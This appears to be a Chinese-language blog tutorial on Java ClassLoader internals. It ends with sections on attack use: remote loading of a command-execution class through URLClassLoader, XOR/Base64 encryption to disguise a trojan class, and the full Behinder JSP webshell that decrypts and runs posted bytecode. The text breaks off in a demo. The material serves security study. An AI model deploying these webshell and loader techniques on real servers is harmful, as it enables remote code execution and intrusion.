前言
ClassLoader 作为 JAVA 安全研究基础又核心的部分, 本篇文章将从0到1理解 ClassLoader, 并在理解 ClassLoader 途中融入 ClassLoader 的攻击方式, 并根据 ClassLoader 机制分析冰蝎 WEBSHELL 的运行核心逻辑, 除此之外也介绍某些 ClassLoader 在代码审计中的妙用.
ClassLoader
jvm启动的时候, 并不会一次性加载所有的class文件, 而是根据需要去动态加载. 否则一次性加载那么多jar包那么多class, 那内存将崩溃.
Java 类 && Class 文件
定义Heihu577.java
文件, 内容如下:
public class Heihu577 {
public static void main(String[] args){
System.out.println("Hello World");
}
}
随后命令行执行命令:
C:\Users\Administrator\Desktop\ClassLoader>javac Heihu577.java
>> 这条命令将进行编译 Heihu577.java 文件, 生成 Heihu577.class 文件
C:\Users\Administrator\Desktop\ClassLoader>java Heihu577
Hello World
>> 这条命令将执行 Heihu577::main 方法
C:\Users\Administrator\Desktop\ClassLoader>javap -c -p -l Heihu577.class
Compiled from "Heihu577.java"
public class Heihu577 {
public Heihu577();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
public static void main(java.lang.String[]);
Code:
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String Hello World
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
}
>> 这条命令将生成 Java 字节码, 进行反汇编的一个操作, JVM执行的其实就是如上javap命令生成的字节码。
最终可以执行Hello World
, 当然, 这是一个比较基础的案例. 当然了, 这里我们提一嘴JAVA
中所用的环境变量
, 因为后续的学习需要用到:
C:\Users\Administrator\Desktop\ClassLoader>echo %JAVA_HOME%
>> 运行结果: D:\SoftWare\Java8
C:\Users\Administrator\Desktop\ClassLoader>echo %PATH%
>> 运行结果: C:\ProgramData\Oracle\Java\javapath;D:\SoftWare\Python3\Scripts\;D:\SoftWare\Python3\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Windows;C:\Windows\System32\OpenSSH\;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\system32;D:\SoftWare\Microsoft VS Code\bin;D:\SoftWare\VM\VmSoftWare\bin\;D:\SoftWare\phpstudy_pro\Extensions\MySQL8.0.12\bin;D:\SoftWare\Java8\bin\;D:\SoftWare\C\mingw64\bin;;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;D:\SoftWare\NodeJs\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;;D:\SoftWare\Microsoft VS Code\bin;D:\SoftWare\IntelliJ IDEA 2023.2.1\bin;;C:\Users\Administrator\AppData\Roaming\npm
C:\Users\Administrator\Desktop\ClassLoader>echo %CLASSPATH%
>> 运行结果: %CLASSPATH%
Java 类加载器
Java 类加载流程
Java语言系统自带有三个类加载器, 分别为如下:
BootStrap ClassLoader
Bootstrap ClassLoader: 最顶层的加载类, 主要加载核心类库,%JRE_HOME%\lib
下的rt.jar、resources.jar、charsets.jar
和class
等,其中的rt.jar
包中包含了java.lang
,java.io
等包, 所以我们可以直接在一个干净的java
环境中进行引入FileInputStream, Integer, String
类等, 如图:
当然, 我们也可以通过如下代码进行查看Bootstrap ClassLoader
具体扫描了哪些包:
package com.heihu577;
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = String.class.getClassLoader(); // 得到 String 这个类是由哪个 ClassLoader 加载的. 这里返回 null, 说明是被 BootStrap ClassLoader 所加载了, 我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。
String searchPath = System.getProperty("sun.boot.class.path"); // sun.boot.class.path 是 bootstrap 所扫描包的路径
System.out.println("当前扫描路径为: " + searchPath);
/*
当前扫描路径为: D:\SoftWare\Java8\jre\lib\resources.jar;D:\SoftWare\Java8\jre\lib\rt.jar;D:\SoftWare\Java8\jre\lib\sunrsasign.jar;D:\SoftWare\Java8\jre\lib\jsse.jar;D:\SoftWare\Java8\jre\lib\jce.jar;D:\SoftWare\Java8\jre\lib\charsets.jar;D:\SoftWare\Java8\jre\lib\jfr.jar;D:\SoftWare\Java8\jre\classes
*/
}
}
当然了, 除了这个固定的扫描包的规则之外, 我们还可以通过-Xbootclasspath
参数增加要扫描的包,-Xbootclasspath
解释如下:
-Xbootclasspath:路径 指定的路径会完全取代jdk核心的搜索路径
-Xbootclasspath/a:路径 指定的路径会append(追加)在核心搜索路径之后
-Xbootclasspath/p:路径 指定的路径会prefix(之前)在核心搜索路径之后
测试这三种结果, 再测试一个没有增加该参数的情况:
通常都使用 /a 参数, 该扫描路径有一个先后顺序问题, 当前后两个jar包中, 存在两个相同包相同名称的类时, 先被扫描到的包下的类, 将被 JVM 解析.
Ext ClassLoader
扩展的类加载器,加载目录%JRE_HOME%\lib\ext
目录下的jar包和class文件
。还可以加载-D java.ext.dirs
选项指定的目录。
根据上面的案例, 我们进行如下操作:
随后准备如下代码:
package com.heihu577;
import org.apache.commons.dbutils.AbstractQueryRunner;
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader(); // 得到加载 AbstractQueryRunner 类的 ClassLoader
System.out.println(classLoader); // sun.misc.Launcher$ExtClassLoader@29453f44
String extDirs = System.getProperty("java.ext.dirs"); // ExtClassLoader 通过 java.ext.dirs 查看扫描路径
System.out.println(extDirs); // D:\SoftWare\Java8\jre\lib\ext;C:\WINDOWS\Sun\Java\lib\ext
}
}
可以看到, 此时classLoader
则变为了ExtClassLoader
所加载进来的, 当然, 我们也可以指明-D
参数来修改ExtClassLoader
扫描的路径, 如图:
注意: 这里图中应该改为配置dirs D:\BaiduNetdiskDownload\
最后运行结果:
sun.misc.Launcher$AppClassLoader@18b4aac2
D:\BaiduNetdiskDownload\
这种方式当然也不要随意用, 只是做环境测试.
App ClassLoader
这里我们App ClassLoader
其实读取的就是我们的CLASSPATH
, 当然也是我们IDEA
中运行代码时所指明的参数, 准备如下代码:
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader();
System.out.println(classLoader);
String myClassPath = System.getProperty("java.class.path");
System.out.println(myClassPath);
}
}
运行结果 (包含命令行):
>> 注意运行命令中的 -classpath 参数
D:\SoftWare\Java8\bin\java.exe "-javaagent:D:\SoftWare\IntelliJ IDEA 2023.2.1\lib\idea_rt.jar=8196:D:\SoftWare\IntelliJ IDEA 2023.2.1\bin" -Dfile.encoding=UTF-8 -classpath CLASSPATH值 com.heihu577.HeihuHello
>> 运行结果
sun.misc.Launcher$AppClassLoader@18b4aac2
CLASSPATH值
进程已结束,退出代码为 0
当然了,AppClassLoader
的父亲(不是父类)
是ExtClassLoader
:
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader();
System.out.println(classLoader); // sun.misc.Launcher$AppClassLoader@18b4aac2
System.out.println(classLoader.getParent()); // sun.misc.Launcher$ExtClassLoader@12a3a380
}
}
理解完这三种 ClassLoader 后, 笔者在这里准备了一个本地脚本, 用来运行并理解每次clazz.getClassLoader
的返回值:
package com.heihu577;
public class Main {
public static void main(String[] args) throws ClassNotFoundException {
System.out.println("================================BootStrapClassLoader================================");
String envKey = "sun.boot.class.path";
String envValue = System.getProperty(envKey);
String bootStrapClassName = "java.lang.Integer"; // 默认在 lib\rt.jar 包中
System.out.println(envKey + " => " + envValue); // 得到 BootStrap 加载的所有 jar 包
System.out.println(bootStrapClassName + " => " + Class.forName(bootStrapClassName).getClassLoader()); // 因为是BootStrap加载, 所以这里应该返回 NULL
System.out.println("--------------------------------运行时指明参数----------------------------------");
System.out.println("-Xbootclasspath:路径 指定的路径会完全取代jdk核心的搜索路径\n" +
"-Xbootclasspath/a:路径 指定的路径会append(追加)在核心搜索路径之后\n" +
"-Xbootclasspath/p:路径 指定的路径会prefix(之前)在核心搜索路径之后");
System.out.println("================================ExtClassLoader================================");
envKey = "java.ext.dirs";
envValue = System.getProperty(envKey);
String extClassName = "com.sun.nio.zipfs.JarFileSystemProvider"; // 默认在 /lib/ext/zipfs 包中
System.out.println(envKey + " => " + envValue);
System.out.println(extClassName + " => " + Class.forName(extClassName).getClassLoader());
// 因为是 ExtClassLoader 加载, 所以是 sun.misc.Launcher$ExtClassLoader
System.out.println("--------------------------------运行时指明参数----------------------------------");
System.out.println("-Djava.ext.dirs=目录");
System.out.println("================================AppClassLoader================================");
envKey = "java.class.path";
envValue = System.getProperty(envKey);
System.out.println(envKey + " => " + envValue);
String appClassName = "lombok.Data";
System.out.println(appClassName + " => " + Class.forName(appClassName).getClassLoader());
/*
* <dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.20</version>
</dependency>
</dependencies>
* */
}
}
接下来抛出一个问题,AppClassLoader, ExtClassLoader
是如何被创建的?
Launcher
上面的代码可以看到,AppClassLoader, ExtClassLoader
都是属于sun.misc.Launcher
类中的一个成员类, 我们看一下Launcher类
的具体操作如下:
双亲委派模式
图文解释
一个类加载器查找class和resource时,是通过委托模式
进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到Bootstrap ClassLoader,如果Bootstrap classloader找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象, 这种机制就叫做双亲委托. 具体可以参考下图:
代码解释
只有代码图不顶用, 下面我们跟进源代码进行Debug
查看一下:
Bootstrap ClassLoader是由C/C++编写的,它本身是虚拟机的一部分,所以它并不是一个JAVA类,也就是无法在java代码中获取它的引用,
JVM启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件,之前的int.class,String.class都是由它加载。
然后呢,我们前面已经分析了,JVM初始化sun.misc.Launcher并创建Extension ClassLoader和AppClassLoader实例。
并将ExtClassLoader设置为AppClassLoader的父加载器。Bootstrap没有父加载器,但是它却可以作用一个ClassLoader的父加载器。
比如ExtClassLoader。这也可以解释之前通过ExtClassLoader的getParent方法获取为Null的现象。
使用双亲委派模式的好处则是, 我们无法去替换Java核心API, 例如:
当然, 类加载器也解决了重复加载问题.
URLClassLoader
从上面我们研究双亲委派模式
时进行Debug
了源代码, 可以发现的是,URLClassLoader
是ExtClassLoader && AppClassLoader
的父类(不是父亲)
,
public class Launcher {
static class ExtClassLoader extends URLClassLoader {}
static class AppClassLoader extends URLClassLoader {}
}
URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源
. 其中它有两个重要的构造方法值得我们去实现并学习:
public URLClassLoader(URL[] urls, ClassLoader parent){
// 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类
// ...
}
public URLClassLoader(URL[] urls) {
// 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类
// ...
}
如果使用第二个构造器, 那么URLClassLoader
的parent
将是AppClassLoader
, 我们可以通过下图解释:
使用 URLClassLoader 加载&&执行 Jar 包
首先创建一个jar
包, 如下:
根据上面的代码, 我们成功创建了一个jar包
, 其中, 定义了com.utils.SayHello
类以及在其中定义了hi
方法, 创建测试代码, 如下:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
URL[] urls = new URL[]{file.toURL()}; // 生成 URL
URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o); // com.utils::hi~ ^_^
}
}
URLClassLoader 因为委派模式导致的 "歧义" 问题
在com.utils.SayHello
项目中的pom.xml
文件中引入一个Jackson
, 如下:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 -->
</dependency>
</dependencies>
修改com.utils.SayHello::hi
方法为如下内容:
public class SayHello {
public static void main(String[] args) {
System.out.println("Hi~");
}
public void hi() {
System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.
}
}
因为我们通过Maven
增加了Jackson
包, 所以我们设置在打jar
包时, 一定要有提取到目标Jar (移除工件再添加工件即可)
, 如图:
重新定义后, 再构建项目即可.
确认打包好的内容, 存在 jackson, 如图:
在我们ClassLoader测试环境
中, 在pom.xml
文件声明如下选项:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>
最终测试结果:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
URL[] urls = new URL[]{file.toURL()}; // 生成 URL
URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
// 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o);
/*
* Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()I
at com.utils.SayHello.hi(SayHello.java:16)
... 5 more
这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.
* */
}
}
解决办法:
使用URLClassLoader
的指明父亲的构造器, 代码如下:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar");
URL[] urls = new URL[]{file.toURL()};
URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());
// ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader
// AppClassLoader -> parent -> ExtClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
// ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 Jackson
Object o = clazz.newInstance();
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o);
}
}
URLClassLoader 远程加载 WebShell
准备如下类:
public class CMD {
/**
*
* @param cmd 要执行的命令
* @return 命令执行的结果
*/
public static String Exec(String cmd) {
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
byte[] myChunk = new byte[1024];
int tmp = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((tmp = is.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, tmp);
}
return new String(byteArrayOutputStream.toByteArray());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
然后打一个jar包, 开启网络服务.
准备如下代码, 测试运行结果:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
System.out.println(result); // heihubook\administrator
}
}
当然了, 也可以将CMD.class
文件放入到WEB服务
根目录, 如图:
随后准备如下代码:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
System.out.println(result); // heihubook\administrator
}
}
使用URLClassLoader,传入的地址,如果以/结尾,则会当做目录, 去这个目录下找类,否则就会将这个地址后的文件当做jar包,从jar包中找类。
当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html
自定义 ClassLoader
ClassLoader
类有如下核心方法:
loadClass
(加载指定的Java类)如果自定义 ClassLoader 重写 loadClass 方法, 那么将打破双亲委派机制! 因为双亲委派机制是在 loadClass 方法上产生的.findClass
(查找指定的Java类)findLoadedClass
(查找JVM已经加载过的类)defineClass
(定义一个Java类)如果调用到任意 ClassLoader 的 defineClass 方法, 并传入相应的字节码, 那么 JVM 便加载该类 (如果该类继承 | 实现
了某个类 | 接口
, 那么会先加载父类 | 接口
). 唯一一点是自定义ClassLoader
加载某个类时, 类包名不允许以java.
打头, 否则会抛出异常.resolveClass
(链接指定的Java类)
为什么需要自定义 ClassLoader
从AppClassLoader && ExtClassLoader
的源代码中看到, 这两个类加载器都是遵循委派模式的, 是如下逻辑:
顶级父类加载 -> 父类加载 -> 加载不到再本地加载
那么如果我们想打破这个委派原则, 想进行如下加载逻辑:
本类加载 -> 加载不到再父类加载
其实本质也就是打破委派模式, 通过自己的想法去查找类, 该如何做呢?此时我们自定义ClassLoader
登场了.
自定义步骤
编写一个类继承自ClassLoader抽象类.
复写它的
findClass()
方法, 用于查找类.在
findClass()
方法中调用defineClass()
.
public class customClassLoader extends ClassLoader {
private String baseUrl;
/**
* @param baseUrl: 可以放置我们 .class 文件所在的目录
*/
public customClassLoader(String baseUrl) {
this.baseUrl = baseUrl.replace('\\', File.separatorChar).replace('/', File.separatorChar);
}
/**
* 重写 findClass 方法,用于从特定位置加载类, 注意一定要 return defineClass(XXX);
* @param name : 接收 "包名.类名"
* @return : 返回 defineClass 的返回结果, 其中 defineClass(类名, 类的字节码, 0, 类的字节码大小) 可以加载字节码到 JVM
*/
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] b = loadClassData(name); // 已经定义好的类的字节码, 在这里我们定义了 loadClassData, 在磁盘上进行读取文件
if (b == null) {
throw new ClassNotFoundException();
}
Class<?> resClass = defineClass(name, b, 0, b.length);
if (resClass == null) {
return super.findClass(name); // 如果是 null, 那么就从父亲找
}
return resClass; // 使用 defineClass 方法来定义类
}
/**
* @param name : 传入类名称, 通过拼接父目录的形式, 找到当前类的 class 文件, 读取并返回.
* @return : 读取 class 文件内容, 并返回
*/
private byte[] loadClassData(String name) {
// 以下是一个简单的从文件系统中加载类的示例
String fileName = name.replace('.', File.separatorChar) + ".class";
File classFile =
new File(this.baseUrl, fileName);
// 替换为你的类文件路径
if (!classFile.exists()) {
return null; // 类文件不存在,返回 null
}
try (FileInputStream fis = new FileInputStream(classFile);
ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
return bos.toByteArray(); // 返回类的字节码
} catch (IOException e) {
e.printStackTrace();
return null; // 发生异常,返回 null
}
}
// 示例:使用 CustomClassLoader 加载并实例化一个类
public static void main(String[] args) throws Exception {
customClassLoader classLoader = new customClassLoader("C:\\Users\\Administrator\\IdeaProjects\\ClassLoaderStudy\\target\\classes");
Class<?> clazz = classLoader.findClass("com.bean.Hi"); // 替换为你的类名
Object instance = clazz.getDeclaredConstructor().newInstance(); // 假设类有一个无参构造方法
// ... 现在你可以使用 instance 做你想做的事情 ...
System.out.println(instance); // com.bean.Hi@45ee12a7
}
}
随后我们定义com.bean.Hi
文件内容如下:
public class Hi {
public void sayHi() {
System.out.println("Hi::sayHi...");
}
}
其中加载的理解图如下:
利用 ClassLoader 对 class 文件进行加解密
准备如下工具类:
public class ToolUtils {
/**
* 将传递过来的数据, 进行每一位异或v后, 然后进行 Base64 加密操作
*
* @param data 原始数据
* @param v 异或的数字
* @return 加密后的值
*/
public static byte[] Byte2Base64(byte[] data, int v) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
}
/**
* 将传递过来的 Base64, 进行解码, 解码后对每一位异或 v
*
* @param base64 base64值
* @param v 异或的数字
* @return 解密后的数据
*/
public static byte[] Base642Byte(byte[] base64, int v) {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return byteArrayOutputStream.toByteArray();
}
}
随后进行测试:
public class Main {
public static void main(String[] args) throws IOException {
String dstFile = "C:/Windows/win.ini";
FileInputStream fis = new FileInputStream(dstFile);
byte[] data = IOUtils.readFully(fis, fis.available(), false);
System.out.println("读取 " + dstFile + " 文件, 文件内容: \n" + new String(data) + "\n---------------------------");
byte[] MiWen = ToolUtils.Byte2Base64(data, 2);
System.out.println("加密后的文件内容: \n" + new String(MiWen) + "\n---------------------------");
byte[] MingWen = ToolUtils.Base642Byte(MiWen, 2);
System.out.println("解密后的文件内容: \n" + new String(MingWen));
/*
读取 C:/Windows/win.ini 文件, 文件内容:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
---------------------------
加密后的文件内容: OSJkbXAiMzQvYGt2ImNyciJxd3JybXB2DwhZZG1sdnFfDwhZZ3p2Z2xxa21scV8PCFlvYWsiZ3p2Z2xxa21scV8PCFlka25ncV8PCFlPY2tuXw8IT0NSSz8zDwg=
---------------------------
解密后的文件内容:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
*/
}
}
那么我们在此基础之上, 进行一个开发ClassLoader的一个操作, 用来加密.class文件.
创建customClassLoader
类, 定义如下:
public class customClassLoader extends ClassLoader {
public String Path;
public customClassLoader(String Path) {
this.Path = Path;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals("org.muma.myMuma")) { // 只对 org.muma.myMuma 进行操作
try {
File file = new File(this.Path);
byte[] bytes = Base642Byte(IOUtils.readFully(new FileInputStream(file), (int) file.length(), true), 2);
return defineClass(name, bytes, 0, bytes.length);
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return super.findClass(name);
}
private byte[] Base642Byte(byte[] base64, int v) {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return byteArrayOutputStream.toByteArray();
}
}
随后我们定义org.muma.myMuma
, 如下:
public class myMuma {
public void getShell() {
System.out.println("myMuma::getShell~");
}
}
随后我们编写一个加密器, 专门对myMuma
生成出来的class
文件进行加密, 如下:
public class Encode {
public static void main(String[] args) throws IOException {
ClassLoader classLoader = Encode.class.getClassLoader(); // 这里是 AppClassLoader
InputStream is = classLoader.getResourceAsStream("org/muma/myMuma.class");
// 读取 classpath 下的 org/muma/myMuma.class 文件
byte[] classFileData = IOUtils.readFully(is, is.available(), true); // 读取到字节内容
byte[] classFileNewData = ToolUtils.Byte2Base64(classFileData, 2); // 加密字节内容
FileOutputStream fos = new FileOutputStream("D:/myMumaEnc.class");
fos.write(classFileNewData); // 将结果写入到 D:/myMumaEnc.class
fos.flush();
fos.close();
}
}
运行结束后,D:/myMumaEnc.class
则是我们的加密文件.
那么我们看一下如何解密,定义&&运行
如下代码:
public class Decode {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
customClassLoader customClassLoader = new customClassLoader("D:/myMumaEnc.class");
Class<?> clazz = customClassLoader.loadClass("org.muma.myMuma");
System.out.println(clazz); // class org.muma.myMuma
Object o = clazz.getDeclaredConstructor().newInstance();
Method getShell = clazz.getDeclaredMethod("getShell");
getShell.invoke(o, null); // myMuma::getShell~
}
}
当然了, 我们也可以将生成好的Base64
值硬放入到我们的类加载器中, 不管查询什么类, 最终都返回我们的org.muma.myMuma
, 如下:
public class MyDataClassLoader extends ClassLoader {
private String data = "yPy4vAICAjYCHQgCBAITCwIQAhEKAhYIAhcCFAUCFQUCGgMCBD5rbGt2PAMCASorVAMCBkFtZmcDAg1Oa2xnTHdvYGdwVmNgbmcDAhBObWFjblRjcGtjYG5nVmNgbmcDAgZ2amtxAwITTm1wZS1vd29jLW97T3dvYzkDAgplZ3ZRamdubgMCCFFtd3BhZ0RrbmcDAglve093b2MsaGN0Yw4CBQIKBQIbDgIYAhkDAhNve093b2M4OGVndlFqZ25ufAUCHg4CHwIcAwINbXBlLW93b2Mtb3tPd29jAwISaGN0Yy1uY2xlLU1gaGdhdgMCEmhjdGMtbmNsZS1Re3F2Z28DAgFtd3YDAhdOaGN0Yy1rbS1ScGtsdlF2cGdjbzkDAhFoY3RjLWttLVJwa2x2UXZwZ2NvAwIFcnBrbHZubAMCFypOaGN0Yy1uY2xlLVF2cGtsZTkrVAIjAgcCBAICAgICAAIDAgUCCgIDAgsCAgItAgMCAwICAgcotQIDswICAgACCAICAgQCAwICAgoCCQICAg4CAwICAgcCDgIPAgICAwIMAgoCAwILAgICNQIAAgMCAgILsAIAEAG0AgazAgICAAIIAgICCAIAAgICCAIKAgkCCQICAg4CAwICAgsCDgIPAgICAwINAgICAAIS"; // 将一整个字节码做为属性了
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.equals("org.muma.myMuma")) {
byte[] bytes = Base642Byte(this.data.getBytes(), 2);
return defineClass(name, bytes, 0, bytes.length);
}
return super.loadClass(name);
}
private byte[] Base642Byte(byte[] base64, int v) {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return byteArrayOutputStream.toByteArray();
}
}
最终运行结果:
public class Test2 {
public static void main(String[] args) throws ClassNotFoundException {
MyDataClassLoader myDataClassLoader = new MyDataClassLoader();
Class<?> aClass = myDataClassLoader.loadClass("org.muma.myMuma");
System.out.println(aClass); // class org.muma.myMuma
}
}
冰蝎 WEBSHELL 核心运行逻辑
冰蝎中JSP-WEBSHELL如下:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
首先我们分析一下U
这个类:
可以看到的是, 我们继承了 ClassLoader 这个类, 其中调用了父类的构造方法, 其核心目的就是将传入进来的 ClassLoader 作为 parent, 下面g
方法的定义, 传入byte[]
类型的数据, 最终调用到ClassLoader::defineClass
方法进行加载字节码, 对于理解来说还是比较容易的, 我们只需要调用U对象的g方法, 传入恶意字节码
即可执行我们恶意类中的内容.
笔者在这里进行定义一个DEMO来分析:
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
class U extends ClassLoader {
// 不定义构造函数的话, 会调用 ClassLoader 无参构造器
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
